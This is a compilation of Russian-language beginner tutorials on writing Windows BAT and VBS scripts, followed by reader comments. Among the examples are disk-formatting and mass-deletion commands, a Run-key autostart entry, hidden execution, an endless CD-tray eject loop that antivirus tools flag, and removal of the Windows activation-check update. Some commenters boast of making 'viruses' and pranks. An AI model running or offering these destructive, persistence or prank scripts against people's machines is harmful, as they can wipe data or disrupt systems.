Как написать простой скрипт для windows

5

Как создать BAT-файл в Windows 11/10 (свой скрипт для запуска программ (игр) с высоким приоритетом, очистки папок, форматирования дисков, флешек и пр.)

Доброго дня!

На меня тут недавно «наехали» (в хорошем смысле 😊): «Дескать. говоришь вот создать BAT-файл*, а как это сделать-то? Учишь непонятно чему. лишь плохому. «.

* Для справки.

BAT-файл — текстовый файл со списком команд. При его запуске (открытии) — интерпретатор ОС выполняет их одну за одной. Это очень удобно для выполнения повторяющихся задач (например, если вам нужно запускать каждый раз игру с высоким приоритетом, или чистить определенную папку, и др.).

*

Собственно, в рамках сегодняшней статьи решил исправиться — кратко показать, как их создавать, и дать несколько примеров для решения самых популярных рутинных задач (довольно часто для этого BAT’ники и используют).

Думаю, что многие пользователи смогут слегка до-корректировать мои примеры и создадут для себя вполне рабочие BAT-файлы. 😉

Создание BAT файлов: на примерах

Основы! С чего начать (Вариант 1: проверка пинга)

Для начала покажу, как создать простейший BAT-файл для проверки пинга (для общего понимания процесса. ).

Первым делом необходимо создать самый обычный текстовый файл (такой же, как вы создаете в блокноте). Достаточно кликнуть правой кнопкой мыши по любому свободному месту на рабочем столе и выбрать в меню «Текстовый файл» (Text Document). 👇

Создаем текстовый документ

Название файла у этого текстового документа может быть любым (но лучше использовать англ. символы).

Далее следует открыть этот файл и вписать в него нужные команды. В своем примере я впишу только одну (если вы делаете это впервые — рекомендую повторить ее вместе со мной):

Разумеется, файл нужно сохранить. Кстати, вместо ya.ru можно указать google.ru или любой другой адрес (обычно, многие указывают свой игровой сервер, и запускают этот BAT’ник, когда в игре наблюдаются лаги).

Копируем в него нашу команду и сохраняем файл.

Затем обратите внимание на расширение файла — у текстового файла оно «.TXT». Кстати, если у вас не отображаются расширения — можете 📌 прочитать эту заметку или просто введите в командной строке две вот эти команды (последовательно):

reg add «HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced» /v HideFileExt /t REG_DWORD /d 00000000 /f

taskkill /F /IM explorer.exe & start explorer

Нам нужно переименовать файл так, чтобы вместо «.TXT» — было новое расширение «.BAT» !

Меняем расширение TXT на BAT

Теперь достаточно кликнуть по «нашему» файлу правой кнопкой мыши и запустить его от имени администратора — автоматически появится окно командной строки с проверкой пинга. Удобно? Вполне! 👌

Идет проверка пинга!

Чтобы отредактировать BAT-файл (и каждый раз не переименовывать его туда-сюда) — рекомендую вам установить блокнот Notepad++ (уже ранее добавлял его в подборку).

После установки Notepad++ — достаточно кликнуть ПКМ по BAT-файлу — и в появившемся меню выбрать опцию редактирования.

Вариант 2: запуск игры с высоким приоритетом + откл. авто-поиска Wi-Fi сетей

Этот скрипт рекомендуется попробовать пользователям ноутбуков, кто играет в сетевые игры.

*

Этот BAT-файл я создал на одном своем рабочем ноутбуке (он уже довольно «старый», и нередко притормаживал при запуске игр). Однако, благодаря нескольким строкам кода — удается вполне комфортно играть. 👌

Что за строки нужно добавить в BAT (выделены коричневым):

cmd.exe /c start /high /D «C:\Games\Counter-Strike 1.6\» hl.exe -game cstrike -appid 10 -nojoy -noipx -noforcemparms -noforcemaccel
netsh wlan set autoconfig enabled=no interface=»Wi-Fi»
pause
netsh wlan set autoconfig enabled=yes interface=»Wi-Fi»
pause

1. запускает игру CS с высоким приоритетом (это позволяет снизить кол-во притормаживаний в играх). Разумеется, вместо строки «C:\Games\Counter-Strike 1.6\» hl.exe — вы можете указать свою игру и ее расположение;
2. отключает авто-поиск Wi-Fi сетей (это снижаем пинг и увел. скорость сети // правда не дает подключаться к другим Wi-Fi сетям). Кстати, вместо «Wi-Fi» — нужно указать название своего адаптера (посмотрите так: нажмите Win+R, и используйте команду ncpa.cpl ) ;

Вариант 3: создание резервной копий файлов и точки восстановления в Windows

Приведу наиболее простую и довольно надежную команду для создания резервных копий файлов и папок:

Она копирует один каталог в другой (просто, без вопросов и расспросов). Если вам нужно скопировать 2 или 3 (или более) каталогов — просто создайте несколько подобных строк.

1. C:\Games — тот каталог, который будем копировать (все подкаталоги и файлы из них тоже будут скопированы);
2. D:\backup — тот каталог, куда будет всё скопировано;
3. /f — выводит имена файлов (чтобы вы видели, что происходит);
4. /i — создает новый каталог, если на диске «D:» нет каталога «backup» (см. строку выше);
5. /y — перезаписывает старые файлы новыми;
6. /s — копирует каталоги и подкаталоги, если в них есть какие-то файлы.

Для создания точки восстановления можно использовать следующий код:

wmic.exe /Namespace:\\root\default Path SystemRestore Call CreateRestorePoint «MyRestorePoint», 100, 7
pause

После запуска подобного BAT-файла — точка восстановления будет создана в авто-режиме! Это очень удобно делать перед установкой нового софта, железа и пр. (чтобы проверить есть ли точка — нажмите Win+R , и используйте команду: rstrui ). 👇

Точки восстановления создаются!

Вариант 4: очистка временных папок

Здесь есть несколько вариантов «подхода». Я приведу один из самых простейших, см. 4 строки ниже. 😉

del /q /f /s %WINDIR%\Temp\*.*
del /q /f /s %SYSTEMDRIVE%\Temp\*.*
del /q /f /s %Tmp%\*.*
del /q /f /s %Temp%\*.*

• BAT-файл с этими строками чистит временные папки в Windows (как правило, в них скапливается один «мусор», которые занимает лишь место на диске);
• %WINDIR%\Temp\ — это папка «C:\Windows\Temp»;
• %SYSTEMDRIVE% — это системный диск «C:\»;
• *.* — маска для удаления всех файлов;
• /q /f /s — удаление всех каталогов и подкаталогов (без вопросов).

📌 Что можно еще добавить в наш скрипт:

• del /q /f /s %WINDIR%\Prefetch\*.* — эта строка очистит папку Prefetch (в ней сохраняется кэш от различного софта. При удалении той или иной программы — кэш в папке остается, и со временем — ее размер может разрастись);
• del /q /f /s %SYSTEMDRIVE%\*.log — удаление всех Log-файлов с системного диска (это файлы, в которых содержится история запуска программы, например. Во многих случаях они бесполезны). Большинство программ, кстати, ведут логи, со временем они разрастаются и могут отнять сотни МБ на диске;
• При помощи предыдущей команды можно удалить и другие файлы с системного диска (например, с расширением .tmp или .bak // достаточно поменять лишь концовку команды) — однако, будьте аккуратны, легко можно что-нибудь запороть!

📌 Вариант 5: форматирование диска/флешки (с ручным выбором буквы, имени и файловой системы)

Этот мини-скриптик может быть весьма полезный (например, если у вас «подвисает» проводник при обращении к флешки // или не запускается управление дисками).

*

Собственно, здесь все делается аналогично. Чтобы не удлинять процесс — вот вам сразу же сам скриптик (ссылка на RAR-архив с BAT-файлом), который «набросал» за 5 мин. (и еще 10 потратил на проверку 😉). Его текст (выделен коричневым):

@echo off
wmic logicaldisk get name, VolumeName, Size, FileSystem, NumberOfBlocks, description
set /p adisk=»Введите букву диска/флешки для форматирования: »
set /p named=»Введите имя для диска/флешки (любое, например, my_disk): »
set /p number=»Нажмите l — для формат. в NTFS, 2 — в FAT32, 3 — для в ExFAT. Ваше число: «

if «%number%» == «1» (
format %adisk%: /FS:NTFS /Q /V:%named%
pause
exit /b
)

if «%number%» == «2» (
format %adisk%: /FS:FAT32 /Q /V:%named%
pause
exit /b
)

if «%number%» == «3» (
format %adisk%: /FS:ExFAT /Q /V:%named%
pause
exit /b
)

Он довольно простой, но будьте с ним аккуратны! Если укажите не ту букву накопителя — можно легко отформатировать не тот диск.

Как он работает (запускать под именем администратора):

1. сначала он показывает информацию по всем подключенным дискам (и их буквы);
2. далее запрашивает букву диска/флешки, которую нужно отформатировать (в своем примере я ввел G и нажал Enter) ;
3. затем нужно ввести название диска — может быть любым (главное, чтобы название было коротким и лучше использовать только латиницу!). Я использовал my_flash ;
4. после выбрать файловую систему (их тут три), и нажать Enter;
5. если все введено корректно — диск/флешка будет отформатирована! 👌

Пример работы BAT-файла для форматирования флешки

Как запускать BAT-файл от имени администратора (и по расписанию)

Самый простой вариант — нажать ПКМ по BAT-файлу и в контекстном меню выбрать «Запуск от имени администратора» . См. скрин ниже. 👇

Нажать ПКМ по BAT-файлу

Можно нажать ПКМ по BAT-файлу и создать для него ярлык на рабочем столе. См. скрин ниже. 👇

Создание ярлыка к BAT-файлу

Далее в свойства ярлыка поставить галочку, что задача должна выполняться от имени администратора. Таким образом при каждом двойном клике по этому ярлыку — BAT’ник будет запускаться от админа. 👌

Свойства ярлыка — запускать с админ. правами

В планировщике заданий Windows (чтобы его открыть нажмите Win+R , и используйте команду control schedtasks ) можно настроить запуск BAT-файла в нужное время и с нужными правами (т.е. автоматически). Это может быть весьма удобно, и серьезно упростить работу со множеством задач (очистка Windows от мусора, создание бэкапов и пр.) — точно никогда не забудете!

Более подробно о том, как создать задачу в планировщике заданий — я 📌 рассказывал в этой заметке.

Триггеры — когда выполнять задачу, расписание

Если при выполнении BAT-файла появятся крякозабры вместо русского текста 👌

Чаще всего это бывает с теми BAT, в которых есть русские символы и выставлена «неправильная» кодировка (например, они часто встречаются в пути к папке: «C:\Games\Лучшие игры» ). Кстати, в этом случае BAT-файл работать не будет: после попытки выполнения операции с «крякозабрами» — появится ошибка и окно CMD будет закрыто.

Batch script для начинающих

Мне 12 и я сам в этой теме плохо шарю, т.к. инфы в инете мало. Пж, без хейта.

Что такое батники и с чем их едят

Пакетный файл или в простонародье батник — это файл, который запускает командную сроку или сокращенно cmd, которая построчно интерпретирует команды, записанные в нем. Подробнее смотрите на https://ru.wikipedia.org/wiki/Пакетный_файл.

Первая программа и основные команды

Чтобы сделать батник, нужно сначала создать текстовый файл с именем test и изменить расширение c .txt на .bat. О том, как можно это сделать, читайте здесь: https://remontka.pro/file-extensions. У вас должен появиться файл с такой иконкой:

test.bat

Нажимаем на него ПРАВОЙ кнопкой мыши. Должно появиться диалоговое окно. Нажмем «Открыть». Должен открыться блокнот, пишем:

В 1-ой сроке («@echo off») префикс ‘@ ‘ означает, что команда не будет выведена на экран(попробуйте его убрать 🙂 ), сама же команда (echo) выводит текст следующий за ней(см. строку 2), НО, если подать строку «off», все последующие команды будут действовать так, как будто перед ними стоит префикс ‘@’, «echo on», соответственно, выключает этот режим. Чтобы вывести символ «%», его нужно дублировать, потом поймете почему :-), для вывода пустой строки поставьте «.» после «echo»
В 3-ей строке команда выводит строку «press any key to continue . . .» (если у вас русский язык — «Для продолжения нажмите любую клавишу . . .») и останавливает программу до нажатия любой клавиши.

Наводим красоту

не эта 🙂

не делает ничего и служит комментарием к коду

Код включает русские символы и другие из ascii(например: «╬▓☼», можно скопировать с http://pascalguru.ru/psevdograf.html), иначе ascii символы превратятся в кракозябры:

Следующий код код работает, как команда «pause», но ничего не выводит на экран и не реагирует на нажатие клавиш(я потом объясню, как это работает).

А этот — меняет заголовок окна на «name»

Заголовок окна

Эта команда меняет цвет фона и текста, вместо a и b можно поставить любые шестнадцатеричные цифры(команда не сработает если a = b) см. таблицу ниже. Запись c одной буквой «а» аналогично записи «0a»

Таблица

Эта — досрочно завершает программу

Переменные

Создать переменную можно с помощью команды set, синтаксис объявления следующий: P.S. это не совсем переменные, это скорее макросы (для тех к кто не знает C/C++ это именованный кусочек кода, имя которого заменяется на этот кусочек кода)

Если после «set» добавить флаг «/a» то:

Переменной задастся значение выражения, а не его текст, например:

Переменной можно присвоить ТОЛЬКО числовое значение

Чтобы обратиться к переменной, нужно окружить ее символами «%» (так %name%), пример кода:

Подробнее о переменных

Если добавить флаг «/p», то выводиться значение после символа » bash»>@echo off set /p a=Enter str echo %a% pause

следующий код вырезает строку от символа номер «a» до символа номер «b» НЕ включительно(счет идет с нуля, отрицательные числа — счет с конца от единицы). Если аргумент один, то он присваивается числу «b», а «a» = 0

следующий заменяет подстроки «a» в строке на строки «b»:

Циклы и условия

Цикл можно создать с помощью команды «for», синтаксис следующий:

(a b c) это список (не обязательно из 3-х элементов) и переменная %%i (нужно ставить символ после процентов, а не между) по очереди проходит по значениям в списке

Если добавить флаг «/l», то переменная в первый раз будет равна «a». К ней каждый раз будет прибавляться «b», пока она не станет больше «c»(тут размер ДОЛЖЕН равняться 3)

запустите этот код, тут все наглядно

Команда if выполняет код, если условие верно (или если поставить not после if, когда НЕ верно), вот операторы сравнения:

Как создать bat-файл в Windows 7/10 – редактируем и сохраняем батник

Использование графического интерфейса в операционных системах сегодня представляется чем-то само собой разумеющимся и совершенно естественным, но так было не всегда. Первая операционная система MS DOS, разработанная компанией Microsoft, не имела GUI, а управление выполнялось посредством ввода текстовых команд. С тех пор минуло без малого 40 лет, однако скриптовый язык командной строки по-прежнему пользуется популярностью, причём не только в среде разработчиков.

Командная строка не столь удобна, зато с её помощью можно выполнять недоступны из GUI операции. С другой стороны, запускать каждый раз консоль, вводить в неё одну за другой команды – всё это сильно замедляет работу. Впрочем, можно существенно упростить задачу, создав бат-файл или попросту батник – текстовый файл с расширением BAT, содержащий список инструкций, обрабатываемых командным интерпретатором CMD. Используются такие файлы для автоматизации разных задач, например, для удаления временных файлов по расписанию или запуска программ.

Как создать файл с расширением BAT

Итак, как создать bat-файл в Windows 7/10? Очень просто. Для этого понадобится любой текстовый редактор и знание основ командной строки. Можно использовать Блокнот, а ещё лучше Notepad++, так как последний имеет подсветку синтаксиса. Создайте в редакторе новый файл, в меню «Файл» выберите «Сохранить как», дайте будущему скрипту имя, а в выпадающем списке «Тип файла» выберите «Batch file (*bat; *cmd; *nt)».

Если для создания bat-файла захотите использовать Блокнот, расширение нужно присвоить вручную, а в списке «Тип файла» выбрать «Все файлы».

Как видите, создать файл с расширением bat не составляет сложности, есть тут, однако, свои тонкости. В командных файлах нельзя использовать перенос строк, кодировка bat-файла должна быть выставлена UTF-8, если в теле скрипта используется кириллица, кодировку нужно изменить, вставив в положенном месте команду chcp 1251.

Вместо расширения BAT можно использовать CMD, результат выполнения скрипта будет точно таким же.

Основные команды, синтаксис и примеры использования батников

Как сделать bat-файл вы знаете, теперь настала пора самого интересного, а именно синтаксиса языка интерпретатора CMD. Понятно, пустой батник работать не будет, он даже не запустится при двойном по нему клике. Чтобы скрипт сработал, в нём должна быть прописана хотя бы одна команда. Для наглядного примера посмотрим, как написать bat-файл для запуска программ. Допустим, приступая к работе, вы каждый раз запускаете три программы – Chrome, Firefox и VLC. Упростим задачу, создав скрипт, который будет сам запускать эти программы с интервалом в пять секунд.

Открываем пустой батник и вставляем в него такие команды:

Команда start запускает исполняемый файл нужной программы, а команда timeout /t задаёт интервал между запусками. Обратите внимание на расположение кавычек – в них берутся пути, в которых имеются пробелы. Также если в пути есть кириллические символы, в начало скрипта следует вставить изменяющую кодировку команду chcp 1251, в противном случае интерпретатор не сможет правильно прочитать путь.

При запуске скрипта будет последовательно открыто четыре окна консоли, это нормальное явление, по выполнении команд все они автоматически закроются, впрочем, можно сделать так, чтобы открывалось только первое окно. Для этого код запуска приложения следует изменить следующим образом:

Может также статься, что в определённый момент потребуется приостановить выполнение скрипта, чтобы пользователь сам смог решить, выполнять ли все остальные команды или нет. Для этого существует команда pause. Попробуйте заменить ею timeout и увидите, что получится.

Рассмотрим ещё один пример команд для bat файла. Напишем скрипт, который будет в одном случае выключать компьютер, а в другом – перезагружать его. Для этих целей мы будем использовать команду shutdown с параметрами /s, /r и /t. При желании можно добавить в батник запрос на выполнение действия, вот так:

Поясняем. Первая команда скрывает текст самих команд, вторая – устанавливает кириллическую кодировку, третья – выводит сообщение для пользователя, четвертая – устанавливает паузу, пятая – выключает, а с ключом /r вместо /s перезагружает компьютер без традиционной задержки в одну минуту. Если не желаете церемониться с запросами и паузами, можете оставить только пятую команду.

Если вместо русского текста при выполнении команды вы увидите крякозябры, попробуйте преобразовать файл скрипта в ANSI.

Что ещё можно делать с помощью скриптов? Много чего, например, удалять, копировать или перемещать файлы. Допустим, у вас есть некая папка data в корне диска D, содержимое которой нужно очистить одним махом. Открываем батник и вставляем в него такую команду:

В отличие от первой, вторая команда удаляет файлы рекурсивно, то есть в папке data будут удалены все файлы плюс те, которые лежат во вложенных каталогах.

А вот ещё один полезный пример. Напишем скрипт, который будет создавать резервную копию содержимого одной папки и сохранять данные в другую. За копирование отвечает команда robocopy:

Запустив такой батник на исполнение, вы скопируете все содержимое папки data в папку backup, включая вложенные каталоги, пустые и с файлами. К слову, команда robocopy имеет много параметров, позволяющих очень гибко настраивать параметры копирования.

Запуск bat-файлов от имени администратора и по расписанию, скрытый запуск bat

Теперь вы знаете как создавать батники и имеете некое общее представление о языке интерпретатора CMD. Это были основы, теперь пришла пора познакомиться с некоторыми полезными особенностями работы с bat-файлами. Известно, что для выполнения некоторых действий программам нужны права администратора. Понадобиться они могут и батникам. Самый очевидный способ запустить скрипт от имени администратора, это кликнуть по нему правой кнопкой мыши и выбрать в контекстном меню соответствующую опцию.

Кроме того, можно сделать так, что конкретный батник будет запускаться с повышенными привилегиями всегда. Для этого необходимо создать на такой скрипт обычный ярлык, открыть его свойства, нажать кнопку «Дополнительно» и отметить в открывшемся окошке галочкой пункт «Запуск от имени администратора». Этот способ хорош ещё тем, что позволяет выбрать для ярлыка любой значок, тогда как файл с расширением BAT или CMD всегда будет иметь невзрачный вид.

Скрипты, как и все приложения, можно запускать по расписанию. Команда timeout /t здесь не совсем уместна, для отложенного запуска лучше всего использовать встроенный «Планировщик задач» Windows. Здесь всё просто. Открываем командой taskschd.msc Планировщик, определяемся с триггером, действие выбираем «Запустить программу» и указываем путь к bat-файлу. Вот и всё, скрипт будет запущен в положенное время.

И напоследок ещё один интересный момент. Когда вы запускаете bat-файл, на экране появляется, пусть даже на какую-то долю секунды, окно командной строки. А нельзя ли сделать так, чтобы скрипт выполнялся в скрытом режиме? Можно, причём несколькими способами. Самый простой заключается в следующем. Создаём на bat-файл ярлык, открываем его свойства и в меню «Окно» выбираем «Свёрнутое в значок». После этого единственным видимым признаком запуска скрипта будет появление значка CMD на панели задач, окон же при этом открываться не будет.

Если вы желаете полностью скрыть выполнение скрипта, можете воспользоваться «костылем» – скриптом VВS, который будет запускать ваш батник в скрытом режиме. Текст скрипта приведен ниже, сохраните его в файл hidden.vbs, предварительно заменив путь во второй строчке кода D:/sсript.bat путём к вашему батнику.

Есть также и другие варианты, например, использование утилиты Hidden Start, позволяющей запускать исполняемые и пакетные файлы в скрытом режиме, в том числе без приглашения UAC.

А на этом пока всё. Информацию касательно создания скриптов BAT без труда можно найти в интернете. Неплохо также ознакомиться с учебником Уильяма Станека «Командная строка Microsoft Windows». Несмотря на то, что с момента издания книги прошло более десяти лет, содержащаяся в ней информация до сих пор актуальна.

Пишем программы (скрипты) в Блокноте Windows

С этой статьей вы не научитесь программировать и даже не напишите как таковую программу, но найдете здесь отличные VBS скрипты и BAT файлы, которые без проблем напишете в обычном блокноте Windows, сможете усовершенствовать по своему, потом похвастаться перед друзьями и близкими. Возможно это поднимет вам настроение и вы отлично проведете время.

Большинство похожих скриптов пишутся для удобства и автоматизации каких-либо действий на компьютере с ОС Windows. Представленные же ниже скрипты мало окажутся полезными (может мне так кажется), но они отлично подойдут для первоначального знакомства с «кодингом». Вы отлично проведете время, удивив как себя, так и знакомых чайников (не программистов), плюс это еще один хороший вариант убить время за компьютером.

• VBS — язык программирования для создания скриптов в ОС Windows, создается/редактируется в Блокноте Windows, имеет разрешение «.vbs». Думаю, продолжать не имеет смысла, ибо это мало о чем скажет, особенно новичкам. Интересующимся — статья в Википедии .
• BAT — пакетный файл, в народе просто «батник». Расширение файла «.bat». Дальше аналогично — статья в Википедии .

Данных расширений (vbs, bat) файлы создаются во всеми известном Блокноте Windows (Notepad). Для большего удобства создания скриптов рекомендуется использовать усовершенствованный (скажем так) блокнот — Notepad++. Он удобен подсветкой синтаксиса большого количества языков программирования, если вам это мало о чем говорит, то скачайте и пишите в нем — ошибок сделаете меньше в коде, ну или будет их проще найти, чем в том же мало функциональном Блокноте Windows.

Для наглядности пример (слева — Блокнот Windows, справа — Notepad++):

Приступим

Если вы уже знакомы с VBS скриптами и батниками, то скорее всего нижеследующие примеры вам будут неинтересны, если же вы новичок, то для первоначального ознакомления — то, что нужно.

Научим компьютер здороваться

1. Открываем Блокнот (или Notepad Plus Plus).
2. Копируем в вставляем код:

Set sapi=CreateObject(«sapi.spvoice»)
sapi.Speak «Hello!»

Один нюанс: если вы прописали в кавычках слова русскими буквами, а при запуске произносится непонятно что, то у вас просто не установлен русский голосовой движок. Подробная установка и настройка голосового движка выходит за рамки нашей статьи, поэтому более подробно ознакомьтесь здесь и вновь возвращайтесь сюда.

Теперь, сделаем следующее: пропишем данный скрипт в автозагрузку, а это означает то, что при запуске компьютера вам будет произнесено написанное в программе слово (слова), если как в примере, то будет говорить — «Hello» при каждом включении компьютера. Как это сделать?

Все просто, программу (скрипт) добавить в автозагрузку можно таким же образом, то есть через такой же VBS скрипт. Создаем файл в блокноте, копируем/вставляем (Ctrl+C/Ctrl+V) следующий код:

Dim vOrg, objArgs, root, key, WshShell
root = «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\»
KeyHP = «Program»
Set WshShell = WScript.CreateObject(«WScript.Shell»)
WshShell.RegWrite root+keyHP,»C:\Privet.vbs /autorun»

Изменяем путь до скрипта «говорилки», вот эту строчку — C:\Privet.vbs на свою. Прописываем где у вас лежит этот скрипт и как называется. Дальше сохраняем только что созданную мини программу в блокноте и запускаем. Все, теперь компьютер будет с вами здороваться пр каждом включении.

Открыть дисковод

Открыть блокнот. Скопировать/Вставить следующий код:

Set a = CreateObject(«WMPlayer.OCX.7»)
Set b = a.CdromCollection
Set c = b.Item(0)
Set d = c.Eject

Есть более интересная модификация данного скрипта:

Set WMPlayer = CreateObject(«WMPlayer.OCX.7»)
do
WMPlayer.CdRomCollection.Item(0).Eject()
loop

В данном случае будет все время открываться-закрываться CD/DVD-привод, на ноутбуках в этом случае будет открываться после каждого его закрытия.

Внимание! Второй код (открытие-закрытие дисковода), некоторые антивирусы видят как вредоносную программу. Антивирус Касперского (в т.ч. и Kaspersky Free) его видит именно так и уничтожает сразу же. В первом же случае (просто открытие дисковода) для антивирусных программ не является вредоносным скриптом.

Чтобы прекратить автоматически открывать-закрывать дисковод необходимо:

1. Запустить диспетчер задач (комбинация клавиш Windows — Ctrl+Alt+Del).
2. Перейти на вкладку «Процессы».
3. Найти процесс wscript.exe — правая кнопка мыши — завершить процесс.

Игра

Интересная находка из Сети — игра на VBS. Необходимо угадать число от 0 до 100. Скрипт автоматически при запуске задает (разгадывает) число, которое вам необходимо угадать и ввести в специальном окошке, при неправильном ответе даются подсказки, например меньше или больше.

Ниже тот самый код который необходимо скопировать и вставить в блокнот, далее сохранить (расширение .vbs).

Вы также можете изменять сообщения по своему, все что написано кириллицей без проблем редактируется. Не бойтесь сломать код. Поэкспериментируйте. В случае чего заново скопируйте рабочий код отсюда.

Set y = CreateObject(«Scripting.FileSystemObject»)
Set y = Nothing
Do
a = 0
u = 0
Randomize
Number = Int((RND*99)+1)
MsgBox «Я загадал число от 1 до 100, попробуй отгадать»,64,»Угадайка»
Do
a = a + 1
c = InputBox(«Угадай число» & vbCrLf & vbCrLf & «Попытка: » & a & vbCrLf & vbCrLf & «Чтобы посмотреть результаты введите число !» & vbCrLf & vbCrLf & «Для выхода оставьте поле пустым» & vbCrLf & vbCrLf,»Угадайка»)
If c = «!» Then CreateObject(«WScript.Shell»).Run «notepad C:\Windows\Result.dll»,3,True : Exit Do
If c <> «» Then
If IsNumeric(c) = True Then
If CInt(c) < Number Then MsgBox «Нет,это не » & c & «. Я загадал число больше»,64,»Угадайка»
If CInt(c) > Number Then MsgBox «Нет,это не » & c & «. Я загадал число меньше»,64,»Угадайка»
If CInt(c) = Number Then
Set y = CreateObject(«Scripting.FileSystemObject»)
MsgBox («Количество попыток: » & a)
If MsgBox («Правильно, это было число » & c & «. Начать заного?»,36,»Угадайка») = 6 Then Exit Do Else WScript.Quit
End If
Else
MsgBox «Это не число!»,16,»Угадайка»
a = a — 1
End If
Else
a = a — 1
l = MsgBox («Ты ничего не ввел. Выйти из программы?»,36,»Угадайка»)
If l = 6 Then WScript.Quit
End If
Loop
loop

Ну и перед тем как переходить к батникам (.BAT) воспользуемся самым полезным VBS скриптом из всех перечисленных в этой статье.

Скрипт закрывающий wscript.exe

Set TaskKill = CreateObject(«WScript.Shell»)
TaskKill.Run «TaskKill /f /im wscript.exe»

По сути он делает тоже самое, что чуть выше объяснялось в диспетчере задач, как например нельзя просто взять и закрыть надоедливый скрипт открывающий-закрывающий дисковод, а запустив данный скрипт все запущенные будут закрыты. Это как клин клином вышибают.

Немного познакомились с VBS скриптами и о том как их писать в блокноте, теперь рассмотрим несколько примеров использования BAT файлов (далее — батник).

Завершение работы /Перезагрузка компьютера

Совсем простой батник состоящий всего из одной строки.

1. Открываем Блокнот.
2. Пишем следующий код:

shutdown -s -t 1 -c -f

Есть такой вариант кода:

shutdown -r -t 1 -c -f

Все также, прописываем в блокноте, сохраняем с расширением .bat и после запуска компьютер перезагрузится (обычная перезагрузка компьютера).

Удаление обновлений

Данный батник пригодится в том случае, если вы уже обновились до Windows 10. В чем суть? В этом батнике перечислены команды по удалению нескольких обновлений, как видно из названия — обновления телеметрии, или как раз одна из шпионских штучек системы, мы однажды уже говорили как отключить функции слежки Windows 10, в данном же случае вы просто создаете батник, в содержимое копируете код ниже и запускаете, после чего будут удалены перечисленные обновления.

@echo
echo
echo Step 1: Delete Updates Telemetry
wusa /uninstall /kb:3068708 /quiet /norestart
wusa /uninstall /kb:3022345 /quiet /norestart
wusa /uninstall /kb:3075249 /quiet /norestart
wusa /uninstall /kb:3080149 /quiet /norestart

Таким образом можно удалить абсолютно любое обновление, даже назойливое KB971033 которое проверяет копию Windows 7 на подлинность.

В Интернете встречается много различных скриптов, якобы безвредных, но будьте осторожны, прежде чем пробовать непонятно какой скрипт, некоторые из них могут навредить, например — вносить изменения в реестр, а в случае каких ошибок система будет выдавать ошибки, в таком случае придется или восстанавливать реестр Windows или сделать восстановление системы.

192 thoughts on “ Пишем программы (скрипты) в Блокноте Windows ”

Пробую проделать с дисководом, не работает на Windows 8.
Ошибка компиляции Microsoft VBScript, Недопустимый знак, код 800А0408

1. ГРИГ Автор записи 12.09.2012 в 11:26

Увы, насчет windows 8 не знаю…проверено на «семерке» все замечательно работает.

Windows 7 Проффесиональная пишет: Ошибка компиляции Microsoft VBScript, Недопустимый знак, код 800А0408

1. Григ Автор записи 05.04.2014 в 16:00

Попробуйте заного нормально написать, возможно допустили ошибку где-то, с данной ошибкой встречаются очень часто

ОН НЕ ВИДИТ РУССКИЙ ЯЗЫК ТАМ ТУПО КАКОЙ ТО СТРАННЫЙ ШРИФТ

у меня тоже так если я пишу в нотпад++, но если я открою через обычный блокнот, сохраню а потом буду запускать через нотпад++ то там пишет по русски а не на языке стола зачарований.

Во время сохранения выбери кодировка: ANSI

Кодировку AMSI ставь

я также написал не работает

1. Григ Автор записи 21.03.2016 в 05:21

Через Notepad++ преобразовать в UTF-8 без BOM и сохранить.
Ну и про кавычки не забывайте, елочки не подойдут, нужны лапти

РАБОТАЕТ НА ВИНДЕ10

Нужно вот такие ковычки («»)

не такие там написано такие » «

тем временем в долбаной записи говорится вот такие «»

в окне ошибки написан номер строки и номер символа . замени его

у меня тоже саоє

Set y = CreateObject(«Scripting.FileSystemObject»)
Set y = Nothing
Do
a = 0
u = 0
Randomize
Number = Int((RND*99)+1)
MsgBox «I ZADAL CHSLO OT 1 DO 100, POPROBUE OTGADAT»,64,»YGADAIKA»
Do
a = a + 1
c = InputBox(«YGADAI CHCLO» & vbCrLf & vbCrLf & «Попытка: » & a & vbCrLf & vbCrLf & «CHTOBA POCMOTRET REZULTAT VEDI CHECLO!» & vbCrLf & vbCrLf & «DLI VAXODA OCTAVTE POLE PYCTAM» & vbCrLf & vbCrLf,»YGADAIKA»)
If c = «!» Then CreateObject(«WScript.Shell»).Run «notepad C:\Windows\Result.dll»,3,True : Exit Do
If c «» Then
If IsNumeric(c) = True Then
If CInt(c) Number Then MsgBox «NET, ETO NE » & c & «. I ZAGODAL CHICLO MENSHE»,64,»YGADAIKA»
If CInt(c) = Number Then
Set y = CreateObject(«Scripting.FileSystemObject»)
MsgBox («Количество попыток: » & a)
If MsgBox («PRAWELNO, ETO BLO CHECLO » & c & «. NACHAT ZANOVO?»,36,»YGADAIKA») = 6 Then Exit Do Else WScript.Quit
End If
Else
MsgBox «ETO CHECLO!»,16,»YDAIKA»
a = a — 1
End If
Else
a = a — 1
l = MsgBox («TA NECHGO NE VEL. VAITI IZ PROGRAMA?»,36,»YGADAIKA»)
If l = 6 Then WScript.Quit
End If
Loop
loop

У меня Windows 7 Проффесиональная и всё работает хорошо только дисковод открывается на несколь ко секунд

Я тоже на Windows xp открыл, выбило ошибку.

ты вместо елочек пиши скобки

И десятка с любым вбс такое выдаёт.

у меня тоже русский не работает. На англ все фразы переведи

Ты написал программу которая выключает комп но я её усовершенствовал (нашёл в интернете) и теперь выключение с таймером и сообщает о чём хочешь, вот она:
@echo off
shutdown -s -t (время в секундах) -c «(сообщение)»
Только пиши без скобок, например мой комп выключается через 30 сек. и написано, пока комп выключается

разыграл друга что типа через 10 сек выходит сообщение что комп заблокирован

На Windows 10 все тоже отлично работает. Жду еще более крутых скриптов! 😉

спс вам я создаю вирусы только яatr ползуюсь .bat а не .vbs

Давайте сотрудничать! Я тоже вирусы делаю

Это уголовно наказуемо, не помню какая статья но потом загуглю, и да, это не вирусы а так называемые приколы, а ПРИКОЛЫ и ВИРУСЫ отлечаются, вот наример какие ты вирусы делаешь а? ой да не дери ты мозги что ты делаешь «Вирусы», я тоже могу сделать «вирус» просто бл*ть найти в интернете и всё, делает он их ага.

Dim vOrg, objArgs, root, key, WshShell
root = «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\»
KeyHP = «Program»
Set WshShell = WScript.CreateObject(«WScript.Shell»)
WshShell.RegWrite root+keyHP,»C:\Privet.vbs /autorun»
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exeexplorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
